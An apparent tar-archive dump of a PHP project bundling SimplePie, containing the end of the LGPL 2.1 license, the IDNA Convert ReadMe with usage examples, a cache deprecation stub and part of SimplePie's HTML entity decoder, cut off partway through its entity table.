may be distributed under the terms of this Lesser General Public License (also called "this License"). Each licensee is addressed as "you". A "library" means a collection of software functions and/or data prepared so as to be conveniently linked with application programs (which use some of those functions and data) to form executables. The "Library", below, refers to any such software library or work which has been distributed under these terms. A "work based on the Library" means either the Library or any derivative work under copyright law: that is to say, a work containing the Library or a portion of it, either verbatim or with modifications and/or translated straightforwardly into another language. (Hereinafter, translation is included without limitation in the term "modification".) "Source code" for a work means the preferred form of the work for making modifications to it. For a library, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the library. Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running a program using the Library is not restricted, and output from such a program is covered only if its contents constitute a work based on the Library (independent of the use of the Library in a tool for writing it). Whether that is true depends on what the Library does and what the program that uses the Library does. 1. You may copy and distribute verbatim copies of the Library's complete source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and distribute a copy of this License along with the Library. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Library or any portion of it, thus forming a work based on the Library, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) The modified work must itself be a software library. b) You must cause the files modified to carry prominent notices stating that you changed the files and the date of any change. c) You must cause the whole of the work to be licensed at no charge to all third parties under the terms of this License. d) If a facility in the modified Library refers to a function or a table of data to be supplied by an application program that uses the facility, other than as an argument passed when the facility is invoked, then you must make a good faith effort to ensure that, in the event an application does not supply such function or table, the facility still operates, and performs whatever part of its purpose remains meaningful. (For example, a function in a library to compute square roots has a purpose that is entirely well-defined independent of the application. Therefore, Subsection 2d requires that any application-supplied function or table used by this function must be optional: if the application does not supply it, the square root function must still compute square roots.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Library, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Library, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Library. In addition, mere aggregation of another work not based on the Library with the Library (or with a work based on the Library) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may opt to apply the terms of the ordinary GNU General Public License instead of this License to a given copy of the Library. To do this, you must alter all the notices that refer to this License, so that they refer to the ordinary GNU General Public License, version 2, instead of to this License. (If a newer version than version 2 of the ordinary GNU General Public License has appeared, then you can specify that version instead if you wish.) Do not make any other change in these notices. Once this change is made in a given copy, it is irreversible for that copy, so the ordinary GNU General Public License applies to all subsequent copies and derivative works made from that copy. This option is useful when you wish to copy part of the code of the Library into a program that is not a library. 4. You may copy and distribute the Library (or a portion or derivative of it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange. If distribution of object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place satisfies the requirement to distribute the source code, even though third parties are not compelled to copy the source along with the object code. 5. A program that contains no derivative of any portion of the Library, but is designed to work with the Library by being compiled or linked with it, is called a "work that uses the Library". Such a work, in isolation, is not a derivative work of the Library, and therefore falls outside the scope of this License. However, linking a "work that uses the Library" with the Library creates an executable that is a derivative of the Library (because it contains portions of the Library), rather than a "work that uses the library". The executable is therefore covered by this License. Section 6 states terms for distribution of such executables. When a "work that uses the Library" uses material from a header file that is part of the Library, the object code for the work may be a derivative work of the Library even though the source code is not. Whether this is true is especially significant if the work can be linked without the Library, or if the work is itself a library. The threshold for this to be true is not precisely defined by law. If such an object file uses only numerical parameters, data structure layouts and accessors, and small macros and small inline functions (ten lines or less in length), then the use of the object file is unrestricted, regardless of whether it is legally a derivative work. (Executables containing this object code plus portions of the Library will still fall under Section 6.) Otherwise, if the work is a derivative of the Library, you may distribute the object code for the work under the terms of Section 6. Any executables containing that work also fall under Section 6, whether or not they are linked directly with the Library itself. 6. As an exception to the Sections above, you may also combine or link a "work that uses the Library" with the Library to produce a work containing portions of the Library, and distribute that work under terms of your choice, provided that the terms permit modification of the work for the customer's own use and reverse engineering for debugging such modifications. You must give prominent notice with each copy of the work that the Library is used in it and that the Library and its use are covered by this License. You must supply a copy of this License. If the work during execution displays copyright notices, you must include the copyright notice for the Library among them, as well as a reference directing the user to the copy of this License. Also, you must do one of these things: a) Accompany the work with the complete corresponding machine-readable source code for the Library including whatever changes were used in the work (which must be distributed under Sections 1 and 2 above); and, if the work is an executable linked with the Library, with the complete machine-readable "work that uses the Library", as object code and/or source code, so that the user can modify the Library and then relink to produce a modified executable containing the modified Library. (It is understood that the user who changes the contents of definitions files in the Library will not necessarily be able to recompile the application to use the modified definitions.) b) Use a suitable shared library mechanism for linking with the Library. A suitable mechanism is one that (1) uses at run time a copy of the library already present on the user's computer system, rather than copying library functions into the executable, and (2) will operate properly with a modified version of the library, if the user installs one, as long as the modified version is interface-compatible with the version that the work was made with. c) Accompany the work with a written offer, valid for at least three years, to give the same user the materials specified in Subsection 6a, above, for a charge no more than the cost of performing this distribution. d) If distribution of the work is made by offering access to copy from a designated place, offer equivalent access to copy the above specified materials from the same place. e) Verify that the user has already received a copy of these materials or that you have already sent this user a copy. For an executable, the required form of the "work that uses the Library" must include any data and utility programs needed for reproducing the executable from it. However, as a special exception, the materials to be distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. It may happen that this requirement contradicts the license restrictions of other proprietary libraries that do not normally accompany the operating system. Such a contradiction means you cannot use both them and the Library together in an executable that you distribute. 7. You may place library facilities that are a work based on the Library side-by-side in a single library together with other library facilities not covered by this License, and distribute such a combined library, provided that the separate distribution of the work based on the Library and of the other library facilities is otherwise permitted, and provided that you do these two things: a) Accompany the combined library with a copy of the same work based on the Library, uncombined with any other library facilities. This must be distributed under the terms of the Sections above. b) Give prominent notice with the combined library of the fact that part of it is a work based on the Library, and explaining where to find the accompanying uncombined form of the same work. 8. You may not copy, modify, sublicense, link with, or distribute the Library except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, link with, or distribute the Library is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 9. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Library or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Library (or any work based on the Library), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Library or works based on it. 10. Each time you redistribute the Library (or any work based on the Library), the recipient automatically receives a license from the original licensor to copy, distribute, link with or modify the Library subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties with this License. 11. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Library at all. For example, if a patent license would not permit royalty-free redistribution of the Library by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Library. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply, and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 12. If the distribution and/or use of the Library is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Library under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 13. The Free Software Foundation may publish revised and/or new versions of the Lesser General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Library specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Library does not specify a license version number, you may choose any version ever published by the Free Software Foundation. 14. If you wish to incorporate parts of the Library into other free programs whose distribution conditions are incompatible with these, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Libraries If you develop a new library, and you want it to be of the greatest possible use to the public, we recommend making it free software that everyone can redistribute and change. You can do so by permitting redistribution under these terms (or, alternatively, under the terms of the ordinary General Public License). To apply these terms, attach the following notices to the library. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this library; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Also add information on how to contact you by electronic and paper mail. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the library, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the library `Frob' (a library for tweaking knobs) written by James Random Hacker. , 1 April 1990 Ty Coon, President of Vice That's all there is to it! res/simplepie/idn/ReadMe.txt000064400000011244147577714370012024 0ustar00******************************************************************************* * * * IDNA Convert (idna_convert.class.php) * * * * http://idnaconv.phlymail.de mailto:phlymail@phlylabs.de * ******************************************************************************* * (c) 2004-2007 phlyLabs, Berlin * * This file is encoded in UTF-8 * ******************************************************************************* Introduction ------------ The class idna_convert allows to convert internationalized domain names (see RFC 3490, 3491, 3492 and 3454 for detials) as they can be used with various registries worldwide to be translated between their original (localized) form and their encoded form as it will be used in the DNS (Domain Name System). The class provides two public methods, encode() and decode(), which do exactly what you would expect them to do. You are allowed to use complete domain names, simple strings and complete email addresses as well. That means, that you might use any of the following notations: - www.nörgler.com - xn--nrgler-wxa - xn--brse-5qa.xn--knrz-1ra.info Errors, incorrectly encoded or invalid strings will lead to either a FALSE response (when in strict mode) or to only partially converted strings. You can query the occured error by calling the method get_last_error(). Unicode strings are expected to be either UTF-8 strings, UCS-4 strings or UCS-4 arrays. The default format is UTF-8. For setting different encodings, you can call the method setParams() - please see the inline documentation for details. ACE strings (the Punycode form) are always 7bit ASCII strings. ATTENTION: We no longer supply the PHP5 version of the class. It is not necessary for achieving a successfull conversion, since the supplied PHP code is compatible with both PHP4 and PHP5. We expect to see no compatibility issues with the upcoming PHP6, too. Files ----- idna_convert.class.php - The actual class idna_convert.create.npdata.php - Useful for (re)creating the NPData file npdata.ser - Serialized data for NamePrep example.php - An example web page for converting ReadMe.txt - This file LICENCE - The LGPL licence file The class is contained in idna_convert.class.php. MAKE SURE to copy the npdata.ser file into the same folder as the class file itself! Examples -------- 1. Say we wish to encode the domain name nörgler.com: // Include the class include_once('idna_convert.class.php'); // Instantiate it * $IDN = new idna_convert(); // The input string, if input is not UTF-8 or UCS-4, it must be converted before $input = utf8_encode('nörgler.com'); // Encode it to its punycode presentation $output = $IDN->encode($input); // Output, what we got now echo $output; // This will read: xn--nrgler-wxa.com 2. We received an email from a punycoded domain and are willing to learn, how the domain name reads originally // Include the class include_once('idna_convert.class.php'); // Instantiate it (depending on the version you are using) with $IDN = new idna_convert(); // The input string $input = 'andre@xn--brse-5qa.xn--knrz-1ra.info'; // Encode it to its punycode presentation $output = $IDN->decode($input); // Output, what we got now, if output should be in a format different to UTF-8 // or UCS-4, you will have to convert it before outputting it echo utf8_decode($output); // This will read: andre@börse.knörz.info 3. The input is read from a UCS-4 coded file and encoded line by line. By appending the optional second parameter we tell enode() about the input format to be used // Include the class include_once('idna_convert.class.php'); // Instantiate it $IDN = new dinca_convert(); // Iterate through the input file line by line foreach (file('ucs4-domains.txt') as $line) { echo $IDN->encode(trim($line), 'ucs4_string'); echo "\n"; } NPData ------ Should you need to recreate the npdata.ser file, which holds all necessary translation tables in a serialized format, you can run the file idna_convert.create.npdata.php, which creates the file for you and stores it in the same folder, where it is placed. Should you need to do changes to the tables you can do so, but beware of the consequences. Contact us ---------- In case of errors, bugs, questions, wishes, please don't hesitate to contact us under the email address above. The team of phlyLabs http://phlylabs.de mailto:phlymail@phlylabs.deres/simplepie/library/SimplePie/Cache/Redis.php000064400000001162147577714370015467 0ustar00 * @link http://galvani.cz/ * @license http://www.opensource.org/licenses/bsd-license.php BSD License * @version 0.2.9 */ use SimplePie\Cache\Redis; class_exists('SimplePie\Cache\Redis'); // @trigger_error(sprintf('Using the "SimplePie_Cache_Redis" class is deprecated since SimplePie 1.7, use "SimplePie\Cache\Redis" instead.'), \E_USER_DEPRECATED); if (\false) { /** @deprecated since SimplePie 1.7, use "SimplePie\Cache\Redis" instead */ class SimplePie_Cache_Redis extends Redis { } } res/simplepie/library/SimplePie/Cache/index.php000064400000000037147577714370015530 0ustar00 res/simplepie/library/SimplePie/Cache/DB.php000064400000004551147577714370014713 0ustar00 res/simplepie/library/SimplePie/Content/Type/Sniffer.php000064400000004655147577714370017357 0ustar00 res/simplepie/library/SimplePie/Decode/HTML/Entities.php000064400000056423147577714370017143 0ustar00data = $data; } /** * Parse the input data * * @access public * @return string Output data */ public function parse() { while (($this->position = strpos($this->data, '&', $this->position)) !== false) { $this->consume(); $this->entity(); $this->consumed = ''; } return $this->data; } /** * Consume the next byte * * @access private * @return mixed The next byte, or false, if there is no more data */ public function consume() { if (isset($this->data[$this->position])) { $this->consumed .= $this->data[$this->position]; return $this->data[$this->position++]; } return false; } /** * Consume a range of characters * * @access private * @param string $chars Characters to consume * @return mixed A series of characters that match the range, or false */ public function consume_range($chars) { if ($len = strspn($this->data, $chars, $this->position)) { $data = substr($this->data, $this->position, $len); $this->consumed .= $data; $this->position += $len; return $data; } return false; } /** * Unconsume one byte * * @access private */ public function unconsume() { $this->consumed = substr($this->consumed, 0, -1); $this->position--; } /** * Decode an entity * * @access private */ public function entity() { switch ($this->consume()) { case "\x09": case "\x0A": case "\x0B": case "\x0C": case "\x20": case "\x3C": case "\x26": case false: break; case "\x23": switch ($this->consume()) { case "\x78": case "\x58": $range = '0123456789ABCDEFabcdef'; $hex = true; break; default: $range = '0123456789'; $hex = false; $this->unconsume(); break; } if ($codepoint = $this->consume_range($range)) { static $windows_1252_specials = [0x0D => "\x0A", 0x80 => "\xE2\x82\xAC", 0x81 => "\xEF\xBF\xBD", 0x82 => "\xE2\x80\x9A", 0x83 => "\xC6\x92", 0x84 => "\xE2\x80\x9E", 0x85 => "\xE2\x80\xA6", 0x86 => "\xE2\x80\xA0", 0x87 => "\xE2\x80\xA1", 0x88 => "\xCB\x86", 0x89 => "\xE2\x80\xB0", 0x8A => "\xC5\xA0", 0x8B => "\xE2\x80\xB9", 0x8C => "\xC5\x92", 0x8D => "\xEF\xBF\xBD", 0x8E => "\xC5\xBD", 0x8F => "\xEF\xBF\xBD", 0x90 => "\xEF\xBF\xBD", 0x91 => "\xE2\x80\x98", 0x92 => "\xE2\x80\x99", 0x93 => "\xE2\x80\x9C", 0x94 => "\xE2\x80\x9D", 0x95 => "\xE2\x80\xA2", 0x96 => "\xE2\x80\x93", 0x97 => "\xE2\x80\x94", 0x98 => "\xCB\x9C", 0x99 => "\xE2\x84\xA2", 0x9A => "\xC5\xA1", 0x9B => "\xE2\x80\xBA", 0x9C => "\xC5\x93", 0x9D => "\xEF\xBF\xBD", 0x9E => "\xC5\xBE", 0x9F => "\xC5\xB8"]; if ($hex) { $codepoint = hexdec($codepoint); } else { $codepoint = intval($codepoint); } if (isset($windows_1252_specials[$codepoint])) { $replacement = $windows_1252_specials[$codepoint]; } else { $replacement = SimplePie_Misc::codepoint_to_utf8($codepoint); } if (!in_array($this->consume(), [';', false], true)) { $this->unconsume(); } $consumed_length = strlen($this->consumed); $this->data = substr_replace($this->data, $replacement, $this->position - $consumed_length, $consumed_length); $this->position += strlen($replacement) - $consumed_length; } break; default: static $entities = [ 'Aacute' => "\xC3\x81", 'aacute' => "\xC3\xA1", 'Aacute;' => "\xC3\x81", 'aacute;' => "\xC3\xA1", 'Acirc' => "\xC3\x82", 'acirc' => "\xC3\xA2", 'Acirc;' => "\xC3\x82", 'acirc;' => "\xC3\xA2", 'acute' => "\xC2\xB4", 'acute;' => "\xC2\xB4", 'AElig' => "\xC3\x86", 'aelig' => "\xC3\xA6", 'AElig;' => "\xC3\x86", 'aelig;' => "\xC3\xA6", 'Agrave' => "\xC3\x80", 'agrave' => "\xC3\xA0", 'Agrave;' => "\xC3\x80", 'agrave;' => "\xC3\xA0", 'alefsym;' => "\xE2\x84\xB5", 'Alpha;' => "\xCE\x91", 'alpha;' => "\xCE\xB1", 'AMP' => "\x26", 'amp' => "\x26", 'AMP;' => "\x26", 'amp;' => "\x26", 'and;' => "\xE2\x88\xA7", 'ang;' => "\xE2\x88\xA0", 'apos;' => "\x27", 'Aring' => "\xC3\x85", 'aring' => "\xC3\xA5", 'Aring;' => "\xC3\x85", 'aring;' => "\xC3\xA5", 'asymp;' => "\xE2\x89\x88", 'Atilde' => "\xC3\x83", 'atilde' => "\xC3\xA3", 'Atilde;' => "\xC3\x83", 'atilde;' => "\xC3\xA3", 'Auml' => "\xC3\x84", 'auml' => "\xC3\xA4", 'Auml;' => "\xC3\x84", 'auml;' => "\xC3\xA4", 'bdquo;' => "\xE2\x80\x9E", 'Beta;' => "\xCE\x92", 'beta;' => "\xCE\xB2", 'brvbar' => "\xC2\xA6", 'brvbar;' => "\xC2\xA6", 'bull;' => "\xE2\x80\xA2", 'cap;' => "\xE2\x88\xA9", 'Ccedil' => "\xC3\x87", 'ccedil' => "\xC3\xA7", 'Ccedil;' => "\xC3\x87", 'ccedil;' => "\xC3\xA7", 'cedil' => "\xC2\xB8", 'cedil;' => "\xC2\xB8", 'cent' => "\xC2\xA2", 'cent;' => "\xC2\xA2", 'Chi;' => "\xCE\xA7", 'chi;' => "\xCF\x87", 'circ;' => "\xCB\x86", 'clubs;' => "\xE2\x99\xA3", 'cong;' => "\xE2\x89\x85", 'COPY' => "\xC2\xA9", 'copy' => "\xC2\xA9", 'COPY;' => "\xC2\xA9", 'copy;' => "\xC2\xA9", 'crarr;' => "\xE2\x86\xB5", 'cup;' => "\xE2\x88\xAA", 'curren' => "\xC2\xA4", 'curren;' => "\xC2\xA4", 'Dagger;' => "\xE2\x80\xA1", 'dagger;' => "\xE2\x80\xA0", 'dArr;' => "\xE2\x87\x93", 'darr;' => "\xE2\x86\x93", 'deg' => "\xC2\xB0", 'deg;' => "\xC2\xB0", 'Delta;' => "\xCE\x94", 'delta;' => "\xCE\xB4", 'diams;' => "\xE2\x99\xA6", 'divide' => "\xC3\xB7", 'divide;' => "\xC3\xB7", 'Eacute' => "\xC3\x89", 'eacute' => "\xC3\xA9", 'Eacute;' => "\xC3\x89", 'eacute;' => "\xC3\xA9", 'Ecirc' => "\xC3\x8A", 'ecirc' => "\xC3\xAA", 'Ecirc;' => "\xC3\x8A", 'ecirc;' => "\xC3\xAA", 'Egrave' => "\xC3\x88", 'egrave' => "\xC3\xA8", 'Egrave;' => "\xC3\x88", 'egrave;' => "\xC3\xA8", 'empty;' => "\xE2\x88\x85", 'emsp;' => "\xE2\x80\x83", 'ensp;' => "\xE2\x80\x82", 'Epsilon;' => "\xCE\x95", 'epsilon;' => "\xCE\xB5", 'equiv;' => "\xE2\x89\xA1", 'Eta;' => "\xCE\x97", 'eta;' => "\xCE\xB7", 'ETH' => "\xC3\x90", 'eth' => "\xC3\xB0", 'ETH;' => "\xC3\x90", 'eth;' => "\xC3\xB0", 'Euml' => "\xC3\x8B", 'euml' => "\xC3\xAB", 'Euml;' => "\xC3\x8B", 'euml;' => "\xC3\xAB", 'euro;' => "\xE2\x82\xAC", 'exist;' => "\xE2\x88\x83", 'fnof;' => "\xC6\x92", 'forall;' => "\xE2\x88\x80", 'frac12' => "\xC2\xBD", 'frac12;' => "\xC2\xBD", 'frac14' => "\xC2\xBC", 'frac14;' => "\xC2\xBC", 'frac34' => "\xC2\xBE", 'frac34;' => "\xC2\xBE", 'frasl;' => "\xE2\x81\x84", 'Gamma;' => "\xCE\x93", 'gamma;' => "\xCE\xB3", 'ge;' => "\xE2\x89\xA5", 'GT' => "\x3E", 'gt' => "\x3E", 'GT;' => "\x3E", 'gt;' => "\x3E", 'hArr;' => "\xE2\x87\x94", 'harr;' => "\xE2\x86\x94", 'hearts;' => "\xE2\x99\xA5", 'hellip;' => "\xE2\x80\xA6", 'Iacute' => "\xC3\x8D", 'iacute' => "\xC3\xAD", 'Iacute;' => "\xC3\x8D", 'iacute;' => "\xC3\xAD", 'Icirc' => "\xC3\x8E", 'icirc' => "\xC3\xAE", 'Icirc;' => "\xC3\x8E", 'icirc;' => "\xC3\xAE", 'iexcl' => "\xC2\xA1", 'iexcl;' => "\xC2\xA1", 'Igrave' => "\xC3\x8C", 'igrave' => "\xC3\xAC", 'Igrave;' => "\xC3\x8C", 'igrave;' => "\xC3\xAC", 'image;' => "\xE2\x84\x91", 'infin;' => "\xE2\x88\x9E", 'int;' => "\xE2\x88\xAB", 'Iota;' => "\xCE\x99", 'iota;' => "\xCE\xB9", 'iquest' => "\xC2\xBF", 'iquest;' => "\xC2\xBF", 'isin;' => "\xE2\x88\x88", 'Iuml' => "\xC3\x8F", 'iuml' => "\xC3\xAF", 'Iuml;' => "\xC3\x8F", 'iuml;' => "\xC3\xAF", 'Kappa;' => "\xCE\x9A", 'kappa;' => "\xCE\xBA", 'Lambda;' => "\xCE\x9B", 'lambda;' => "\xCE\xBB", 'lang;' => "\xE3\x80\x88", 'laquo' => "\xC2\xAB", 'laquo;' => "\xC2\xAB", 'lArr;' => "\xE2\x87\x90", 'larr;' => "\xE2\x86\x90", 'lceil;' => "\xE2\x8C\x88", 'ldquo;' => "\xE2\x80\x9C", 'le;' => "\xE2\x89\xA4", 'lfloor;' => "\xE2\x8C\x8A", 'lowast;' => "\xE2\x88\x97", 'loz;' => "\xE2\x97\x8A", 'lrm;' => "\xE2\x80\x8E", 'lsaquo;' => "\xE2\x80\xB9", 'lsquo;' => "\xE2\x80\x98", 'LT' => "\x3C", 'lt' => "\x3C", 'LT;' => "\x3C", 'lt;' => "\x3C", 'macr' => "\xC2\xAF", 'macr;' => "\xC2\xAF", 'mdash;' => "\xE2\x80\x94", 'micro' => "\xC2\xB5", 'micro;' => "\xC2\xB5", 'middot' => "\xC2\xB7", 'middot;' => "\xC2\xB7", 'minus;' => "\xE2\x88\x92", 'Mu;' => "\xCE\x9C", 'mu;' => "\xCE\xBC", 'nabla;' => "\xE2\x88\x87", 'nbsp' => "\xC2\xA0", 'nbsp;' => "\xC2\xA0", 'ndash;' => "\xE2\x80\x93", 'ne;' => "\xE2\x89\xA0", 'ni;' => "\xE2\x88\x8B", 'not' => "\xC2\xAC", 'not;' => "\xC2\xAC", 'notin;' => "\xE2\x88\x89", 'nsub;' => "\xE2\x8A\x84", 'Ntilde' => "\xC3\x91", 'ntilde' => "\xC3\xB1", 'Ntilde;' => "\xC3\x91", 'ntilde;' => "\xC3\xB1", 'Nu;' => "\xCE\x9D", 'nu;' => "\xCE\xBD", 'Oacute' => "\xC3\x93", 'oacute' => "\xC3\xB3", 'Oacute;' => "\xC3\x93", 'oacute;' => "\xC3\xB3", 'Ocirc' => "\xC3\x94", 'ocirc' => "\xC3\xB4", 'Ocirc;' => "\xC3\x94", 'ocirc;' => "\xC3\xB4", 'OElig;' => "\xC5\x92", 'oelig;' => "\xC5\x93", 'Ograve' => "\xC3\x92", 'ograve' => "\xC3\xB2", 'Ograve;' => "\xC3\x92", 'ograve;' => "\xC3\xB2", 'oline;' => "\xE2\x80\xBE", 'Omega;' => "\xCE\xA9", 'omega;' => "\xCF\x89", 'Omicron;' => "\xCE\x9F", 'omicron;' => "\xCE\xBF", 'oplus;' => "\xE2\x8A\x95", 'or;' => "\xE2\x88\xA8", 'ordf' => "\xC2\xAA", 'ordf;' => "\xC2\xAA", 'ordm' => "\xC2\xBA", 'ordm;' => "\xC2\xBA", 'Oslash' => "\xC3\x98", 'oslash' => "\xC3\xB8", 'Oslash;' => "\xC3\x98", 'oslash;' => "\xC3\xB8", 'Otilde' => "\xC3\x95", 'otilde' => "\xC3\xB5", 'Otilde;' => "\xC3\x95", 'otilde;' => "\xC3\xB5", 'otimes;' => "\xE2\x8A\x97", 'Ouml' => "\xC3\x96", 'ouml' => "\xC3\xB6", 'Ouml;' => "\xC3\x96", 'ouml;' => "\xC3\xB6", 'para' => "\xC2\xB6", 'para;' => "\xC2\xB6", 'part;' => "\xE2\x88\x82", 'permil;' => "\xE2\x80\xB0", 'perp;' => "\xE2\x8A\xA5", 'Phi;' => "\xCE\xA6", 'phi;' => "\xCF\x86", 'Pi;' => "\xCE\xA0", 'pi;' => "\xCF\x80", 'piv;' => "\xCF\x96", 'plusmn' => "\xC2\xB1", 'plusmn;' => "\xC2\xB1", 'pound' => "\xC2\xA3", 'pound;' => "\xC2\xA3", 'Prime;' => "\xE2\x80\xB3", 'prime;' => "\xE2\x80\xB2", 'prod;' => "\xE2\x88\x8F", 'prop;' => "\xE2\x88\x9D", 'Psi;' => "\xCE\xA8", 'psi;' => "\xCF\x88", 'QUOT' => "\x22", 'quot' => "\x22", 'QUOT;' => "\x22", 'quot;' => "\x22", 'radic;' => "\xE2\x88\x9A", 'rang;' => "\xE3\x80\x89", 'raquo' => "\xC2\xBB", 'raquo;' => "\xC2\xBB", 'rArr;' => "\xE2\x87\x92", 'rarr;' => "\xE2\x86\x92", 'rceil;' => "\xE2\x8C\x89", 'rdquo;' => "\xE2\x80\x9D", 'real;' => "\xE2\x84\x9C", 'REG' => "\xC2\xAE", 'reg' => "\xC2\xAE", 'REG;' => "\xC2\xAE", 'reg;' => "\xC2\xAE", 'rfloor;' => "\xE2\x8C\x8B", 'Rho;' => "\xCE\xA1", 'rho;' => "\xCF\x81", 'rlm;' => "\xE2\x80\x8F", 'rsaquo;' => "\xE2\x80\xBA", 'rsquo;' => "\xE2\x80\x99", 'sbquo;' => "\xE2\x80\x9A", 'Scaron;' => "\xC5\xA0", 'scaron;' => "\xC5\xA1", 'sdot;' => "\xE2\x8B\x85", 'sect' => "\xC2\xA7", 'sect;' => "\xC2\xA7", 'shy' => "\xC2\xAD", 'shy;' => "\xC2\xAD", 'Sigma;' => "\xCE\xA3", 'sigma;' => "\xCF\x83", 'sigmaf;' => "\xCF\x82", 'sim;' => "\xE2\x88\xBC", 'spades;' => "\xE2\x99\xA0", 'sub;' => "\xE2\x8A\x82", 'sube;' => "\xE2\x8A\x86", 'sum;' => "\xE2\x88\x91", 'sup;' => "\xE2\x8A\x83", 'sup1' => "\xC2\xB9", 'sup1;' => "\xC2\xB9", 'sup2' => "\xC2\xB2", 'sup2;' => "\xC2\xB2", 'sup3' => "\xC2\xB3", 'sup3;' => "\xC2\xB3", 'supe;' => "\xE2\x8A\x87", 'szlig' => "\xC3\x9F", 'szlig;' => "\xC3\x9F", 'Tau;' => "\xCE\xA4", 'tau;' => "\xCF\x84", 'there4;' => "\xE2\x88\xB4", 'Theta;' => "\xCE\x98", 'theta;' => "\xCE\xB8", 'thetasym;' => "\xCF\x91", 'thinsp;' => "\xE2\x80\x89", 'THORN' => "\xC3\x9E", 'thorn' => "\xC3\xBE", 'THORN;' => "\xC3\x9E", 'thorn;' => 